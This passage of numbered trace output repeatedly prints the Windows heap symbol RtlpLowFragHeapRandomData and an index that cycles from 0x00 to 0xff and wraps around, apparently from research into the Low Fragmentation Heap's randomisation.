453 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000cf 454 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000d0 455 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000d1 456 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000d2 457 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000d3 458 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000d4 459 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000d5 460 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000d6 461 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000d7 462 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000d8 463 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000d9 464 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000da 465 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000db 466 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000dc 467 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000dd 468 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000de 469 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000df 470 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000e0 471 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000e1 472 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000e2 473 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000e3 474 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000e4 475 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000e5 476 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000e6 477 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000e7 478 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000e8 479 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000e9 480 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000ea 481 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000eb 482 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000ec 483 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000ed 484 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000ee 485 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000ef 486 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000f0 487 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000f1 488 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000f2 489 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000f3 490 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000f4 491 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000f5 492 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000f6 493 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000f7 494 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000f8 495 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000f9 496 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000fa 497 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000fb 498 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000fc 499 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000fd 500 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000fe 501 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000ff 502 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000000 503 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000001 504 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000002 505 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000003 506 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000004 507 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000005 508 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000006 509 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000007 510 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000008 511 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000009 512 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000000a 513 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000000b 514 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000000c 515 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000000d 516 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000000e 517 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000000f 518 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000010 519 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000011 520 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000012 521 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000013 522 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000014 523 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000015 524 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000016 525 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000017 526 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000018 527 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000019 528 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000001a 529 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000001b 530 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000001c 531 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000001d 532 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000001e 533 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000001f 534 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000020 535 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000021 536 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000022 537 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000023 538 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000024 539 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000025 540 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000026 541 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000027 542 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000028 543 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000029 544 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000002a 545 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000002b 546 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000002c 547 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000002d 548 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000002e 549 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000002f 550 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000030 551 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000031 552 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000032 553 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000033 554 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000034 555 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000035 556 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000036 557 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000037 558 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000038 559 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000039 560 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000003a 561 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000003b 562 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000003c 563 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000003d 564 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000003e 565 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000003f 566 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000040 567 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000041 568 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000042 569 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000043 570 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000044 571 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000045 572 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000046 573 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000047 574 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000048 575 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000049 576 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000004a 577 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000004b 578 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000004c 579 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000004d 580 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000004e 581 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000004f 582 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000050 583 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000051 584 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000052 585 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000053 586 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000054 587 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000055 588 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000056 589 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000057 590 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000058 591 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000059 592 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000005a 593 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000005b 594 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000005c 595 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000005d 596 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000005e 597 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000005f 598 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000060 599 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000061 600 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000062 601 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000063 602 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000064 603 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000065 604 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000066 605 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000067 606 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000068 607 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000069 608 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000006a 609 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000006b 610 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000006c 611 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000006d 612 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000006e 613 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000006f 614 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000070 615 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000071 616 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000072 617 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000073 618 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000074 619 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000075 620 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000076 621 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000077 622 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000078 623 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000079 624 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000007a 625 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000007b 626 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000007c 627 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000007d 628 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000007e 629 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000007f 630 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000080 631 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000081 632 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000082 633 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000083 634 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000084 635 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000085 636 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000086 637 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000087 638 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000088 639 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000089 640 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000008a 641 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000008b 642 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000008c 643 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000008d 644 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000008e 645 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000008f 646 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000090 647 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000091 648 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000092 649 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000093 650 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000094 651 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000095 652 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000096 653 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000097 654 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000098 655 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000099 656 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000009a 657 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000009b 658 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000009c 659 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000009d 660 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000009e 661 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000009f 662 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000a0 663 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000a1 664 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000a2 665 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000a3 666 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000a4 667 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000a5 668 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000a6 669 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000a7 670 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000a8 671 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000a9 672 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000aa 673 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000ab 674 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000ac 675 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000ad 676 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000ae 677 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000af 678 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000b0 679 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000b1 680 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000b2 681 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000b3 682 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000b4 683 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000b5 684 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000b6 685 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000b7 686 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000b8 687 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000b9 688 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000ba 689 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000bb 690 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000bc 691 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000bd 692 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000be 693 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000bf 694 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000c0 695 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000c1 696 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000c2 697 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000c3 698 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000c4 699 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000c5 700 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000c6 701 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000c7 702 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000c8 703 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000c9 704 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000ca 705 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000cb 706 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000cc 707 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000cd 708 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000ce 709 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000cf 710 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000d0 711 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000d1 712 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000d2 713 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000d3 714 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000d4 715 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000d5 716 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000d6 717 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000d7 718 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000d8 719 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000d9 720 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000da 721 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000db 722 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000dc 723 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000dd 724 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000de 725 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000df 726 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000e0 727 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000e1 728 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000e2 729 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000e3 730 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000e4 731 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000e5 732 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000e6 733 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000e7 734 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000e8 735 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000e9 736 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000ea 737 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000eb 738 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000ec 739 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000ed 740 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000ee 741 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000ef 742 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000f0 743 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000f1 744 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000f2 745 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000f3 746 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000f4 747 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000f5 748 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000f6 749 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000f7 750 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000f8 751 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000f9 752 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000fa 753 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000fb 754 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000fc 755 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000fd 756 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000fe 757 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x00000000000000ff 758 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000000 759 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000001 760 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000002 761 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000003 762 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000004 763 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000005 764 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000006 765 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000007 766 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000008 767 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000009 768 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000000a 769 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000000b 770 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000000c 771 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000000d 772 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000000e 773 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x000000000000000f 774 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000010 775 | RtlpLowFragHeapRandomData == 0x00007ffb13730000, currIdx == 0x0000000000000011 776 | 